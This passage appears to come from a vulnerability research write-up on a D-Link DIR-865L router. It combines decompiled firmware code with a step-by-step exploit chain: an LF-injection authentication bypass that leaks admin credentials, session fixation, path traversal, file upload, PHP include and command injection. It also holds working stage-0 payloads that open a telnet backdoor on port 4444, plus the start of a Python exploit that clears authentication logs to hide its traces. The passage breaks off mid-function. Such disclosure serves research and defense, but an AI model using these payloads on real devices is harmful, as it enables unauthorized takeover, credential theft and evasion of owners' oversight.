    sobj_add_char(param_1,10);
  }
  else if (*param_2 == 1) {

    ...

  }
  return;
}

File: /htdocs/cgibin
Function: FUN_004046a8()

undefined4 FUN_004046a8(undefined4 param_1,undefined4 param_2) {
  char *pcVar1;
  size_t sVar2;
  undefined4 local_20;
  int local_1c;
  undefined4 *local_18;
  undefined4 *local_14;
  undefined4 local_10;
  undefined4 local_c;

  local_18 = sobj_new();
  local_14 = sobj_new();
  if ((local_18 == (undefined4 *)0x0) || (local_14 == (undefined4 *)0x0)) {
    local_20 = 0xffffffff;
  }
  else {
    pcVar1 = getenv("REQUEST_URI");
    if (pcVar1 == (char *)0x0) {
      local_20 = 0xffffffff;
    }
    else {
      pcVar1 = strchr(pcVar1,0x3f);
      if (pcVar1 != (char *)0x0) {
        local_1c = 0;
        local_10 = param_1;
        local_c = param_2;
        sVar2 = strlen(pcVar1 + 1);
        FUN_004043d4(&local_1c,(int)(pcVar1 + 1),sVar2);
        FUN_004043d4(&local_1c,0,0);
      }
      local_20 = 0;
    }
  }
  if (local_18 != (undefined4 *)0x0) {
    sobj_del(local_18);
  }
  if (local_14 != (undefined4 *)0x0) {
    sobj_del(local_14);
  }
  return local_20;
}

File: /htdocs/cgibin
Function: cgibin_parse_request()

int cgibin_parse_request(undefined4 param_1,undefined4 param_2,uint param_3) {
  char *pcVar1;
  uint local_1c;
  int local_18;
  int local_10;

  local_1c = 0;
  pcVar1 = getenv("CONTENT_TYPE");
  if ((pcVar1 != (char *)0x0) && (pcVar1 = getenv("CONTENT_LENGTH"), pcVar1 != (char *)0x0)) {
    local_1c = atoi(pcVar1);
  }
  local_18 = FUN_004046a8(param_1,param_2);
  local_10 = local_18;
  if (-1 < local_18) {
    if (param_3 < local_1c) {
      local_18 = -100;
      FUN_004048a4(local_1c);
    }
    else if (local_1c != 0) {
      local_18 = FUN_00406e58(param_1,param_2,local_1c);
    }
    local_10 = local_18;
  }
  return local_10;
}

File: /htdocs/cgibin
Function: phpcgi_main()

int phpcgi_main(int param_1,int param_2,int param_3) {
  char *pcVar1;
  int iVar2;
  FILE *__stream;
  undefined4 *local_28;
  int local_24;
  char acStack_20 [24];
  
  local_24 = -1;
  local_28 = (undefined4 *)0x0;
  if (1 < param_1) {
    local_28 = sobj_new();
    if (local_28 != (undefined4 *)0x0) {
      sobj_add_string((int)local_28,*(char **)(param_2 + 4));
      sobj_add_char((int)local_28,10);
      FUN_00407a10((int)local_28,param_3);
      pcVar1 = getenv("REQUEST_METHOD");
      if (pcVar1 != (char *)0x0) {
        iVar2 = strcasecmp(pcVar1,"HEAD");
        if (iVar2 == 0) {
          local_24 = cgibin_parse_request(FUN_00407b30,local_28,0x80000);
        }
        else {
          iVar2 = strcasecmp(pcVar1,"GET");
          if (iVar2 == 0) {
            local_24 = cgibin_parse_request(FUN_00407b30,local_28,0x80000);
          }
          else {
            iVar2 = strcasecmp(pcVar1,"POST");
            if (iVar2 != 0) goto LAB_00408444;
            local_24 = cgibin_parse_request(FUN_00407c88,local_28,0x80000);
          }
        }
        if (local_24 < 0) {
          if (local_24 == -100) {
            __stream = fopen("/htdocs/web/info.php","r");
            if (__stream != (FILE *)0x0) {
              fclose(__stream);
              cgibin_print_http_resp(1,"/info.php","FAIL","ERR_REQ_TOO_LONG",0,"");
            }
          }
          else {
            cgibin_print_http_status(400,"unsupported HTTP request","unsupported HTTP request");
          }
        }
        else {
          iVar2 = sess_validate();
          sprintf(acStack_20,"AUTHORIZED_GROUP=%d",iVar2);
          sobj_add_string((int)local_28,acStack_20);
          sobj_add_char((int)local_28,10);
          sobj_add_string((int)local_28,"SESSION_UID=");
          sess_get_uid((int)local_28);
          sobj_add_char((int)local_28,10);
          pcVar1 = sobj_get_string((int)local_28);
          local_24 = xmldbc_ephp((char *)0x0,0,pcVar1,stdout);
        }
      }
    }
  }
LAB_00408444:
  cgibin_clean_tempfiles();
  if (local_28 != (undefined4 *)0x0) {
    sobj_del(local_28);
  }
  return local_24;
}

File: /htdocs/cgibin
Function: main()

int main(int param_1,char **param_2,int param_3,undefined4 param_4) {
  int iVar1;
  int local_10;
  char *local_c;
  
  local_10 = 1;
  local_c = strrchr(*param_2,0x2f);
  if (local_c == (char *)0x0) {
    local_c = *param_2;
  }
  else {
    local_c = local_c + 1;
  }
  iVar1 = strcmp(local_c,"scandir.sgi");
  if (iVar1 == 0) {
    local_10 = scandir_main(param_1,(int)param_2);
  }
  else {
    iVar1 = strcmp(local_c,"phpcgi");
    if (iVar1 == 0) {
      local_10 = phpcgi_main(param_1,(int)param_2,param_3);
    }

...

From what I understand when we request a file with extension .php, the POST request’s body:

junk=%0aAUTHORIZED_GROUP%3d1%0a_POST_CHECK_NODE%3d/device/account/entry:1/name

Get transformed before being sent to the PHP engine to:

_POST_junk=\nAUTHORIZED_GROUP=1\n_POST_CHECK_NODE=/device/account/entry:1/name

Based on this I was able to identify within /htdocs/web/check_stats.php a new way to leak the account name and password of the administrator.

File: /htdocs/web/check_stats.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?
    include "/htdocs/phplib/trace.php";

if ($AUTHORIZED_GROUP < 0)
{
    $result = "Authenication fail";
}
else
{	
    $result = "OK";
    $code   = "";
    $message= "";
    TRACE_debug("CHECK_NODE=================".$_POST["CHECK_NODE"]);
    // get value.
    if($_POST["CHECK_NODE"] != "")
    {
        $code = query($_POST["CHECK_NODE"]);
        TRACE_debug("code=============".$code);
    }
}
    
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<status>\n";
echo "\t<result>".$result."</result>\n";
echo "\t<code>".$code."</code>\n";
echo "\t<message></message>\n";
echo "</status>\n";
?>

Since we control the variable $_POST["CHECK_NODE"], it is possible to parse the router configuration (an XML file) and extract information from it by controlling the parameters of the function query().

Leak administrator’s username:

alt-text

Leak administrator’s password:

alt-text

To conclude on this second vulnerability I would say that, the router is vulnerable to an Authentication Bypass via Line Feed (LF) Injection using %0a in POST parameters when requesting /check_stats.php through /htdocs/cgibin. This vulnerability allows us to retrieve administrator’s username and password. For your information, the Authentication Bypass via LF Injection can also be exploited through GET parameters.

Session Fixation

As the name suggests, a user can set his own session cookie (uid), so that we don’t have to parse the Web server responses looking for Set-Cookie header. Cookie uid fixed by the user:

alt-text

Path Traversal + Arbitrary File List

This vulnerability can be exploited without authentication for firmware version < v1.07 and is still exploitable but with authentication (and without the Path Traversal) for firmware version >= v1.07.

List files and directories in the current directory (/var/tmp/storage/):

alt-text

List files and directories in the router’s root directory (/):

alt-text

When .sgi scripts are requested, /usr/sbin/scandir.sgi is called which is a symlink to /htdocs/cgibin.

Let’s look at the following call stack in /htdocs/cgibin:

  • main()
    • scandir_main()
      • FUN_0041a4c0()
        • opendir() or chdir() + system("ls -lh ")

File: /htdocs/cgibin
Function: FUN_0041a4c0()

undefined4 FUN_0041a4c0(char *param_1,char *param_2,char *param_3,char *param_4) {
  int iVar1;
  FILE *pFVar2;
  __pid_t _Var3;
  DIR *pDVar4;
  size_t sVar5;
  char *pcVar6;
  char *local_614;
  char *local_610;
  byte *local_604;
  char acStack_5ec [100];
  char acStack_588 [100];
  char acStack_524 [100];
  char acStack_4c0 [100];
  char acStack_45c [64];
  undefined4 local_41c;
  undefined4 local_418;
  undefined4 local_414;
  undefined4 local_410;
  undefined2 local_40c;
  char local_40a;
  undefined auStack_409 [1009];
  undefined4 local_18;
  undefined4 local_14;
  
  pcVar6 = param_4;
  iVar1 = strcmp(param_1,"getsmb");
  if (iVar1 == 0) {

    ...

  }
  else {
    iVar1 = strcmp(param_1,"getclient");
    if (iVar1 == 0) {

        ...

    }
    iVar1 = strcmp(param_1,"getlist");
    if (iVar1 == 0) {
      local_41c = 0x7261762f;
      local_418 = 0x726f702f;
      local_414 = 0x5f6c6174;
      local_410 = 0x72616873;
      local_40c = 0x2f65;
      local_40a = '\0';
      memset(auStack_409,0,0x3ed);
      strcat((char *)&local_41c,param_2);
      pDVar4 = opendir((char *)&local_41c);
      if (pDVar4 == (DIR *)0x0) {
        local_18 = 0;
      }
      else {
        chdir((char *)&local_41c);
        printf("%c%c%c",0xef,0xbb,0xbf);
        fflush(stdout);
        system("ls -lh ");
        closedir(pDVar4);
        local_18 = 0;
      }
    }
    else {

        ...

    }
  }
  return local_18;
}

File: /htdocs/cgibin
Function: scandir_main()
Firmware version: previous to 1.07

undefined4 scandir_main(int param_1,char *param_2,undefined4 param_3,undefined4 param_4) {
  int iVar1;
  char *pcVar2;
  void *__ptr;
  int iVar3;
  char *pcVar4;
  char *local_30;
  char *local_2c;
  char *local_28;
  char *local_24;
  int local_18;
  undefined4 local_10;
  
  pcVar4 = param_2;
  setuid(0);
  setgid(0);
  local_24 = (char *)0x0;
  local_28 = (char *)0x0;
  local_2c = (char *)0x0;
  local_30 = (char *)0x0;
  if (param_1 < 2) {
    local_10 = 0xffffffff;
  }
  else {
    if (param_1 == 2) {
      pcVar4 = "start";
      iVar1 = strcmp(*(char **)(param_2 + 4),"start");
      if (iVar1 == 0) {
        FUN_0041b0d0(1);
        return 0;
      }
    }
    if (param_1 == 2) {
      pcVar4 = "stop";
      iVar1 = strcmp(*(char **)(param_2 + 4),"stop");
      if (iVar1 == 0) {
        FUN_0041b0d0(0);
        return 0;
      }
    }
    pcVar2 = getenv("QUERY_STRING");
    if (pcVar2 == (char *)0x0) {
      local_10 = 0xffffffff;
    }
    else {
      __ptr = FUN_0041b8a4(pcVar2);
      local_18 = 0;
      iVar1 = local_18;
      while( true ) {
        local_18 = iVar1;
        pcVar2 = *(char **)((int)__ptr + local_18 * 4);
        iVar1 = local_18 + 1;
        if (pcVar2 == (char *)0x0) break;
        pcVar4 = "action";
        iVar3 = strcmp(pcVar2,"action");
        if (iVar3 == 0) {
          local_24 = *(char **)((int)__ptr + iVar1 * 4);
          iVar1 = local_18 + 2;
        }
        else {
          pcVar4 = "path";
          iVar3 = strcmp(pcVar2,"path");
          if (iVar3 == 0) {
            local_28 = *(char **)((int)__ptr + iVar1 * 4);
            iVar1 = local_18 + 2;
          }
          else {
            pcVar4 = "where";
            iVar3 = strcmp(pcVar2,"where");
            if (iVar3 == 0) {
              local_2c = *(char **)((int)__ptr + iVar1 * 4);
              iVar1 = local_18 + 2;
            }
            else {
              pcVar4 = "en";
              iVar3 = strcmp(pcVar2,"en");
              if (iVar3 == 0) {
                local_30 = *(char **)((int)__ptr + iVar1 * 4);
                iVar1 = local_18 + 2;
              }
            }
          }
        }
      }
      printHeader(200,pcVar4,param_3,param_4);
      fflush(stdout);
      iVar1 = FUN_0041a4c0(local_24,local_28,local_2c,local_30);
      if (iVar1 == 0) {
        free(__ptr);
        local_10 = 0;
      }
      else {
        local_10 = 0xffffffff;
      }
    }
  }
  return local_10;
}

File: /htdocs/cgibin
Function: scandir_main()
Firmware version: 1.07 and later

undefined4 scandir_main(int param_1,int param_2) {
  bool bVar1;
  int iVar2;
  char *pcVar3;
  void *__ptr;
  int iVar4;
  undefined3 extraout_var;
  char *en;
  char *where;
  char *path;
  char *action;
  int local_18;
  undefined4 local_10;
  
  setuid(0);
  setgid(0);
  action = (char *)0x0;
  path = (char *)0x0;
  where = (char *)0x0;
  en = (char *)0x0;
  if (param_1 < 2) {
    local_10 = 0xffffffff;
  }
  else if ((param_1 == 2) && (iVar2 = strcmp(*(char **)(param_2 + 4),"start"), iVar2 == 0)) {
    FUN_0041c940(1);
    local_10 = 0;
  }
  else if ((param_1 == 2) && (iVar2 = strcmp(*(char **)(param_2 + 4),"stop"), iVar2 == 0)) {
    FUN_0041c940(0);
    local_10 = 0;
  }
  else {
    pcVar3 = getenv("QUERY_STRING");
    if (pcVar3 == (char *)0x0) {
      local_10 = 0xffffffff;
    }
    else {
      __ptr = FUN_0041d114(pcVar3);
      local_18 = 0;
      iVar2 = local_18;
      while( true ) {
        local_18 = iVar2;
        pcVar3 = *(char **)((int)__ptr + local_18 * 4);
        iVar2 = local_18 + 1;
        if (pcVar3 == (char *)0x0) break;
        iVar4 = strcmp(pcVar3,"action");
        if (iVar4 == 0) {
          action = *(char **)((int)__ptr + iVar2 * 4);
          iVar2 = local_18 + 2;
        }
        else {
          iVar4 = strcmp(pcVar3,"path");
          if (iVar4 == 0) {
            path = *(char **)((int)__ptr + iVar2 * 4);
            iVar2 = local_18 + 2;
          }
          else {
            iVar4 = strcmp(pcVar3,"where");
            if (iVar4 == 0) {
              where = *(char **)((int)__ptr + iVar2 * 4);
              iVar2 = local_18 + 2;
            }
            else {
              iVar4 = strcmp(pcVar3,"en");
              if (iVar4 == 0) {
                en = *(char **)((int)__ptr + iVar2 * 4);
                iVar2 = local_18 + 2;
              }
            }
          }
        }
      }
      printHeader(200);
      fflush(stdout);
      bVar1 = sess_ispoweruser();
      if (CONCAT31(extraout_var,bVar1) == 0) {
        printf("No Authentication!!");
        local_10 = 0xffffffff;
      }
      else {
        pcVar3 = strstr(path,"/..");
        if ((pcVar3 == (char *)0x0) && ((*path != '.' || (path[1] != '.')))) {
          iVar2 = FUN_0041bd30(action,path,where,en);
          if (iVar2 == 0) {
            free(__ptr);
            local_10 = 0;
          }
          else {
            local_10 = 0xffffffff;
          }
        }
        else {
          printf("Invalid Path!!");
          local_10 = 0xffffffff;
        }
      }
    }
  }
  return local_10;
}

By manipulating GET variable path that reference a directory with ../ sequences and its variations, it is possible to list files (and directories) in arbitrary directory on the filesystem through the functions opendir() or chdir() + system("ls -lh ").

Arbitrary File Upload

File upload vulnerabilities occurs when a Web server allows users to upload files to its filesystem without sufficiently validating things like their name (and extension), type, contents, or size.

Upload a file to a storage:

alt-text

List files and directories in the storage using the previous vulnerability:

alt-text

Retrieve the content of the uploaded file:

alt-text

We will use this vulnerability to upload our stage 0 (stage_0.xml.php) with the extension .xml.php.

PHP File Include

PHP, as many other languages, allows the inclusion of files in order to provide or extend the functionality of the current PHP file. This functionality is provided by the function dophp() which can be used in the following way:

dophp("load", $file);

Controlling the variable $file allows us to include file $file in the current script.

File: /htdocs/web/getcfg.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";


function is_power_user()
{
    if($_GLOBALS["AUTHORIZED_GROUP"] == "")
    {
        return 0;
    }
    if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
    {
        return 0;
    }
    return 1;
}

if ($_POST["CACHE"] == "true")
{
    echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
    if(is_power_user() == 1)
    {
        /* cut_count() will return 0 when no or only one token. */
        $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
        TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
        $SERVICE_INDEX = 0;
        while ($SERVICE_INDEX < $SERVICE_COUNT)
        {
            $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
            TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
            if ($GETCFG_SVC!="")
            {
                $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
                /* GETCFG_SVC will be passed to the child process. */
                if (isfile($file)=="1") dophp("load", $file);
            }
            $SERVICE_INDEX++;
        }
    }
    else
    {
        /* not a power user, return error message */
        echo "\t<result>FAILED</result>\n";
        echo "\t<message>Not authorized</message>\n";
    }
}
?></postxml>

Within the file /htdocs/web/getcfg.php, it is possible to control the variable $_POST["SERVICES"] and consequently the variable $GETCFG_SVC and a portion of the variable $file (second argument passed to the function dophp() whose source code can be found at FUN_00420d50() in /usr/sbin/xmldbc). Unfortunately, the extension of the controlled file ($file) cannot be changed and must end with .xml.php.

The trick is to upload a file with extension .xml.php (our stage 0) and include it to run arbitrary PHP code.

Command Injection

We are, by chaining the vulnerabilities presented above, able to execute arbitrary PHP code without authentication. However the function set available in the core of the PHP engine (/usr/sbin/xmldbc) is limited and the following functions does not exists:

  • exec()
  • passthru()
  • popen()
  • proc_open()
  • shell_exec()
  • system()

To identify the functions that are available to us, we can either read all the PHP code in the directory /htdocs/ or reverse engineer the binary /usr/sbin/xmldbc to be more exhaustive.

PHP functions supported by the engine:

  • ephp_I18N(), reachable by calling I18N()
  • ephp_anchor(), reachable by calling anchor()
  • ephp_ascii(), reachable by calling ascii()
  • ephp_charcodeat(), reachable by calling charcodeat()
  • ephp_clear_all(), reachable by calling clear_all()
  • ephp_cut(), reachable by calling cut()
  • ephp_cut_count(), reachable by calling cut_count()
  • ephp_dec2strf(), reachable by calling dec2strf()
  • ephp_del(), reachable by calling del()
  • ephp_dophp(), reachable by calling dophp()
  • ephp_dump(), reachable by calling dump()
  • ephp_escape(), reachable by calling escape()
  • ephp_event(), reachable by calling event()
  • ephp_fcopy(), reachable by calling fcopy()
  • ephp_fread(), reachable by calling fread()
  • ephp_ftime(), reachable by calling ftime()
  • ephp_fwrite(), reachable by calling fwrite()
  • ephp_get(), reachable by calling get()
  • ephp_i18n(), reachable by calling i18n()
  • ephp_ipv4hostid(), reachable by calling ipv4hostid()
  • ephp_ipv4int2mask(), reachable by calling ipv4int2mask()
  • ephp_ipv4ip(), reachable by calling ipv4ip()
  • ephp_ipv4mask2int(), reachable by calling ipv4mask2int()
  • ephp_ipv4maxhost(), reachable by calling ipv4maxhost()
  • ephp_ipv4networkid(), reachable by calling ipv4networkid()
  • ephp_ipv6addradd(), reachable by calling ipv6addradd()
  • ephp_ipv6addrtype(), reachable by calling ipv6addrtype()
  • ephp_ipv6checkip(), reachable by calling ipv6checkip()
  • ephp_ipv6eui64(), reachable by calling ipv6eui64()
  • ephp_ipv6globalid(), reachable by calling ipv6globalid()
  • ephp_ipv6globalip(), reachable by calling ipv6globalip()
  • ephp_ipv6hostid(), reachable by calling ipv6hostid()
  • ephp_ipv6int2hostid(), reachable by calling ipv6int2hostid()
  • ephp_ipv6ip(), reachable by calling ipv6ip()
  • ephp_ipv6networkid(), reachable by calling ipv6networkid()
  • ephp_isalnum(), reachable by calling isalnum()
  • ephp_isalpha(), reachable by calling isalpha()
  • ephp_isdigit(), reachable by calling isdigit()
  • ephp_isdir(), reachable by calling isdir()
  • ephp_isdomain(), reachable by calling isdomain()
  • ephp_isempty(), reachable by calling isempty()
  • ephp_isfile(), reachable by calling isfile()
  • ephp_isgraph(), reachable by calling isgraph()
  • ephp_isprint(), reachable by calling isprint()
  • ephp_isxdigit(), reachable by calling isxdigit()
  • ephp_map(), reachable by calling map()
  • ephp_movc(), reachable by calling movc()
  • ephp_move(), reachable by calling move()
  • ephp_query(), reachable by calling query()
  • ephp_scut(), reachable by calling scut()
  • ephp_scut_count(), reachable by calling scut_count()
  • ephp_sealpac(), reachable by calling sealpac()
  • ephp_setattr(), reachable by calling setattr()
  • ephp_strchr(), reachable by calling strchr()
  • ephp_strip(), reachable by calling strip()
  • ephp_strlen(), reachable by calling strlen()
  • ephp_strstr(), reachable by calling strstr()
  • ephp_strtoul(), reachable by calling strtoul()
  • ephp_substr(), reachable by calling substr()
  • ephp_tolower(), reachable by calling tolower()
  • ephp_toupper(), reachable by calling toupper()
  • ephp_unlink(), reachable by calling unlink()
  • ephp_urlencode(), reachable by calling urlencode()

The function FUN_00422544() which corresponds to function ephp_event() which can be called from PHP code by calling function event() is vulnerable to a Command Injection. Its only argument is passed as an argument to the function system().

File: /usr/sbin/xmldbc
Function: FUN_00422544()

undefined4 FUN_00422544(int *param_1,undefined4 param_2,int **param_3,undefined4 param_4,int param_5) {
  bool bVar1;
  undefined4 *puVar2;
  int iVar3;
  undefined3 extraout_var;
  char *pcVar4;
  undefined4 *local_18;
  undefined4 *local_10;
  undefined4 local_c;
  
  local_c = 0xffffffff;
  local_10 = (undefined4 *)0x0;
  local_18 = (undefined4 *)0x0;
  puVar2 = FUN_0041a644((undefined4 *)0x0,(undefined4 *)(param_5 + 8));
  if (puVar2 == (undefined4 *)0x0) {
    client_printf(*param_1,"\n!! %s >>>>>>>>>>>>>>>>>>>>>>>>>\n","SYNTAX ERROR",param_4);
    client_printf(*param_1,"%s: no argument found !","ephp_event",param_4);
    client_printf(*param_1,"\n!! %s <<<<<<<<<<<<<<<<<<<<<<<<<\n","SYNTAX ERROR",param_4);
    local_c = 0xffffffff;
  }
  else {
    local_10 = sobj_new();
    local_18 = sobj_new();
    if ((local_10 == (undefined4 *)0x0) || (local_18 == (undefined4 *)0x0)) {
      pcVar4 = "INTERNAL ERROR";
      client_printf(*param_1,"\n!! %s >>>>>>>>>>>>>>>>>>>>>>>>>\n","INTERNAL ERROR",param_4);
      client_printf(*param_1,"memory allocation failed !",pcVar4,param_4);
      client_printf(*param_1,"\n!! %s <<<<<<<<<<<<<<<<<<<<<<<<<\n","INTERNAL ERROR",param_4);
      local_c = 0xffffffff;
    }
    else {
      iVar3 = expand_operand_list(param_1,param_2,param_3,local_10,(int)puVar2);
      if (-1 < iVar3) {
        local_c = 0;
        bVar1 = sobj_empty((int)local_10);
        if (CONCAT31(extraout_var,bVar1) == 0) {
          sobj_add_string((int)local_18,"event ");
          pcVar4 = sobj_get_string((int)local_10);
          sobj_add_string((int)local_18,pcVar4);
          pcVar4 = sobj_get_string((int)local_18);
          system(pcVar4);
        }
      }
    }
  }
  if (local_10 != (undefined4 *)0x0) {
    sobj_del(local_10);
  }
  if (local_18 != (undefined4 *)0x0) {
    sobj_del(local_18);
  }
  return local_c;
}

This being known, the following stage 0 can be developed:

File: stage_0.xml.php

<module>
<?
$_GLOBALS["STAGE_SCRIPT"] = "/tmp/stage_1.sh";
$_GLOBALS["STAGE_OUTPUT"] = "/tmp/stage_1.log";
$write_file = "#!/bin/sh" . "\n";
$write_file = $write_file . "/usr/bin/killall telnetd" . "\n";
$write_file = $write_file . "/usr/sbin/iptables -A INPUT -m state --state NEW -p tcp --dport 4444 -j ACCEPT &" . "\n";
$write_file = $write_file . "/usr/sbin/telnetd -l/usr/sbin/login -u coiffeur:coiffeur -p4444 &" . "\n";
$write_file = $write_file . "/bin/echo DONE > ". $_GLOBALS["STAGE_OUTPUT"] . "\n";
fwrite("w", $_GLOBALS["STAGE_SCRIPT"], $write_file);
event(";/bin/sh " . $_GLOBALS["STAGE_SCRIPT"]);
$read_file = fread("", $_GLOBALS["STAGE_OUTPUT"]);
echo $read_file;
unlink($_GLOBALS["STAGE_SCRIPT"]);
unlink($_GLOBALS["STAGE_OUTPUT"]);
?>
</module>

Another way to get a Command Injection is to write to file /var/run/exec.sh and then call function event() with string EXECUTE as only argument. Which allows us to develop a second stage 0:

File: stage_0_bis.xml.php

<module>
<?
$_GLOBALS["STAGE_OUTPUT"] = "/tmp/stage_1.log";
function execute_cmd($cmd) {
    fwrite("w","/var/run/exec.sh",$cmd);
    event("EXECUTE");
}
execute_cmd("/usr/bin/killall telnetd\n");
execute_cmd("/usr/sbin/iptables -A INPUT -m state --state NEW -p tcp --dport 4444 -j ACCEPT &\n");
execute_cmd("/usr/sbin/telnetd -l/usr/sbin/login -u coiffeur:coiffeur -p4444 &\n");
execute_cmd("/bin/echo DONE > " . $_GLOBALS["STAGE_OUTPUT"] . "\n");
execute_cmd("\n");
$read_file = fread("", $_GLOBALS["STAGE_OUTPUT"]);
echo $read_file;
unlink($_GLOBALS["STAGE_OUTPUT"]);
?>
</module>

As it can be seen by reading the code of the function FUN_00422544(), the function is a wrapper around the binary /usr/sbin/event. Here is a hint provided by a script executed during the boot process, /etc/init0.d/S51wlan.sh:

File: /etc/init0.d/S51wlan.sh

#!/bin/sh
#the event EXECUTE is for helping execute a script. Check "webincl/body/bsc_wlan.php"
echo [$0]: $1 ... > /dev/console
case "$1" in
start|stop)
    service WIFI.PHYINF $1
    event EXECUTE add "sh /var/run/exec.sh"
    ;;
*)
    echo [$0]: invalid argument - $1 > /dev/console
    ;;
esac
exit 0

We now have all the information we need to create a complete exploit.

Proof Of Concept

Stages 0

Exploit

File: exploit.py

import argparse
import hmac
import ipaddress
import json
import requests
import telnetlib
import time
import urllib3


# Remove SSL warnings.
urllib3.disable_warnings()
# The header "Server" leaks information (model number, firmware version).
SERVER_HEADER = "Server"
# This variable is used to repeat the string "../" when exploiting a path traversal.
DEPTH = 10
# Stage 0 (PHP payload that drop and execute stage 1).
# This stage 0 exploit a Command Injection in the core of the PHP engine (function event()).
# For your information, stage 1 is executed and once executed is deleted at the end of
# the execution of stage 0 to limit the traces left on the system.
STAGE_0 = "stage_0.xml.php"
# Port on which the telnetd process should listen.
TELNETD_PORT = 4444
# Credentials to use when connecting to telnetd.
CREDENTIALS = {
    "login": "coiffeur",
    "password": "coiffeur"
}


# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
    # The first delimiter is searched for.
    start = raw.find(start_delimiter)
    if start == -1:
        print("[x] Error: function extract() failed (can't find starting delimiter).")
        return None
    start = start + len(start_delimiter)
    # The second delimiter is searched for.
    end = raw[start::].find(end_delimiter)
    if end == -1:
        print("[x] Error: function extract() failed (can't find end delimiter).")
        return None
    end += start
    return raw[start:end]


class Recon:
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

        # We check that we can communicate with the target
        # either through the HTTPS protocol or through the
        # HTTP protocol.
        if not (self.check_protocol(f"https://{ip}:{port}") or self.check_protocol(f"http://{ip}:{port}")):
            print("\t"+"[x] Can't communicate with the target.")
            exit(-1)
        print("\t"+f"[*] Target's URL: {self.url}")

        # We check that the target is vulnerable by identifying
        # its model number and firmware version.
        if not self.check_target():
            print("\t"+"[x] Target is not exploitable.")
            exit(-1)
        print("\t"+"[+] Target is exploitable.")

    # This function tries to communicate with the Web server
    # through the provided URL
    def check_protocol(self, url):
        try:
            r = requests.get(url=url, verify=False)
        except:
            return 0
        self.url = url
        return 1

    # This function checks the router model number through
    # the headers of the Web server response and the content
    # of the response body. The firmware version is given
    # for information only.
    def check_target(self):
        r = requests.get(url=self.url, allow_redirects=False, verify=False)
        if r.status_code != 200:
            return 0

        # We check the presence of the model number in the
        # SERVER_HEADER header.
        if r.headers[SERVER_HEADER].find("DIR-865L") == -1:
            return 0
        model_header = r.headers[SERVER_HEADER].split(" ")[2]
        version_header = " ".join(r.headers[SERVER_HEADER].split(" ")[3:5])
        print("\t"+f"[*] Model retrieved from header '{SERVER_HEADER}': {model_header} (Information Leak, pre-auth)")
        print("\t"+f"[*] Version retrieved from header '{SERVER_HEADER}': {version_header} (Information Leak, pre-auth)")

        # We check the presence of the model number in the body
        # of the Web server response.
        if r.text.find("DIR-865L") == -1:
            return 0
        model_body = extract(r.text, "target=\"_blank\">", "</a>")
        version_body = extract(r.text, "<span class=\"version\">", "</span>")
        print("\t"+f"[*] Model retrieved from HTML body: {model_body} (Information Leak, pre-auth)")
        print("\t"+f"[*] Version retrieved from HTML body: {version_body} (Information Leak, pre-auth)")
        return 1


class Attack:
    storages = []
    session = "uid=session_fixation"
    webaccess_config_updated = 0
    webaccess_config = ""

    def __init__(self, ip, port, url):
        self.ip = ip
        self.port = port
        self.url = url

        # The router is vulnerable to an authentication bypass via LF
        # injection using "%0a" in POST parameters whe requesting
        # "/check_stats.php" which allows us to retrieve administrator's
        # username and password.
        # We try to exploit this vulnerability to retrieve the account name
        # and password of the administrator.
        if not self.get_credentials():
            print("\t"+"[x] Can't retrieve administrator's credentials.")
            exit(-1)
        print("\t"+f"[*] Leaked username: {self.username} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")
        print("\t"+f"[*] Leaked password: {self.password} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")

        # The router is vulnerable to session fixation. We exploit this
        # vulnerability during authentication.
        if not self.set_session():
            print("\t"+"[x] Can't log in as administrator.")
            exit(-1)
        print("\t"+f"[*] Session fixed at: {self.session} (Session Fixation, pre-auth)")

        # During authentication the IPs are logged. We must clear
        # the logs.
        self.clear_logs()
        print("\t"+"[*] Authentication logs cleared.")

        # The router is vulnerable to an Arbitrary File List (post-auth).
        # We check if there is a storage in which we can store our stage 0.
        if not self.check_storage():
            print("\t"+"[x] Can't find any storage.")
            exit(-1)

        # There before retrieving the authentication cookie of SharePort Web Access,
        # we first check that it is active and reachable from the WAN. If it is not
        # the case we try to modify the configuration of SharePort Web Access, but
        # the original configuration will then be restored.
        if not self.check_shareport():
            print("\t"+"[x] It seems impossible to update SharePort Web Access configuration.")
            exit(-1)

        # There we retrieve the SharePort Web Access authentication cookie.
        if not self.solve_challenge_response():
            print("\t"+"[x] Can't retrieve SharePort Web Access authentication cookie.")
            exit(-1)
        print("\t"+f"[*] SharePort Web Access authentication cookie: {self.cookie}")

        # There we try to upload our stage 0 to a storage.
        if not self.upload_stage_0():
            print("\t"+"[x] Can't upload stage 0.")
            exit(-1)
        print("\t"+f"[*] Stage 0 upload to storage: {self.storage} (Arbitrary File Upload, post-auth)")

        # There we exploit a PHP File Include vulnerability limited to
        # files whose extension are ".xml.php". However, our stage 0 that
        # we uploaded earlier does have this extension.
        if not self.execute_stage_0():
            print("\t"+"[x] Can't execute stage 0.")
            exit(-1)
        print("\t"+"[*] Stage 0 executed. (PHP File Include, pre-auth)")

    # This function checks the presence of storage by exploiting
    # an Arbitrary Directory Listing vulnerabilities.
    def check_storage(self):
        headers = {
            "Cookie": self.session,
            "Content-Type": "application/x-www-form-urlencoded"
        }
        # Parameter "path" is the vulnerable parameter.
        new_url = f"{self.url}/portal/__ajax_explorer.sgi?action=getlist&path=./"
        r = requests.get(url=new_url, headers=headers, allow_redirects=False, verify=False)
        if r.status_code != 200 or r.text.find("Generic") == -1:
            return 0
        # We save all the storages for future use.
        for line in r.text.split("\n"):
            storage = line.split(" ")[-1]
            if storage:
                print("\t"+f"[*] Storage found: {storage} (Path Traversal + Arbitrary Directory Listing, post-auth)")
                self.storages.append(storage)
        # If no storage is identified then exploitation is impossible.
